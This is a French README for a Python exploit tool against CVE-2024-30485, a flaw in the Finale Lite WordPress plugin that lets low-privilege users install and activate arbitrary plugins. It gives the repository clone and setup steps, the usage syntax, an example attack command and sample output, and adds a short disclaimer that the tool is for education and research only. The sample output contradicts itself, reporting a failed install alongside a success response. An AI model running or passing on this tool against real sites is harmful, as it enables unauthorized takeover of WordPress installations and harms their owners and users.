Exploit CVE-2024-30485

📌 Aperçu

CVE-2024-30485 est une vulnérabilité de haute sévérité trouvée dans le plugin Finale Lite pour WordPress (versions <= 2.18.0). La vulnérabilité permet à des utilisateurs authentifiés (Abonné+) d'installer et d'activer des plugins arbitraires sans autorisation appropriée.

Sévérité : HAUTE (CVSS 8.8)
Versions affectées : Finale Lite <= 2.18.0
CWE : CWE-862 (Absence d'autorisation)

🚀 Fonctionnalités

✅ Vérifier si un site WordPress est vulnérable
✅ S'authentifier avec des identifiants valides
✅ Extraire le nonce de sécurité
✅ Installer des plugins arbitraires
✅ Activer les plugins installés

🛠 Prérequis

Python 3
Modules requests et beautifulsoup4
Site WordPress cible avec un plugin vulnérable
Identifiants WordPress valides (Abonné+)

📜 Installation

# Cloner le dépôt
git clone https://github.com/Nxploited/CVE-2024-30485.git
cd CVE-2024-30485

# Installer les dépendances
pip install -r requirements.txt

🔍 Utilisation

usage: CVE-2024-30485.py [-h] -u TARGET -U USERNAME -P PASSWORD [plugin]

Exploit CVE-2024-30485 - Finale Lite | # by Khaled AlEnazi

positional arguments:
  plugin                Plugin slug

options:
  -h, --help            show this help message and exit
  -u TARGET, --url TARGET  WordPress site URL
  -U USERNAME, --username USERNAME  WordPress username
  -P PASSWORD, --password PASSWORD  WordPress password

Exemple :

python3 CVE-2024-30485.py -u target -U admin -P admin -- disable-comments

🖥 Exemple de sortie

[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[-] Failed to install plugin.
Server Response: 
<p>Unpacking the package&#8230;</p>
<p>Installing the plugin&#8230;</p>
<p>Plugin installed successfully.</p>
</div>{"success":true,"data":"Plugin installed and activated successfully!"}

⚠️ Avertissement

Ce script est destiné uniquement à des fins éducatives et de recherche en sécurité. Tester des systèmes sans autorisation est illégal. Utilisez-le de manière responsable.

🔗 Références

Par : Khaled Alenazi (Nxploit)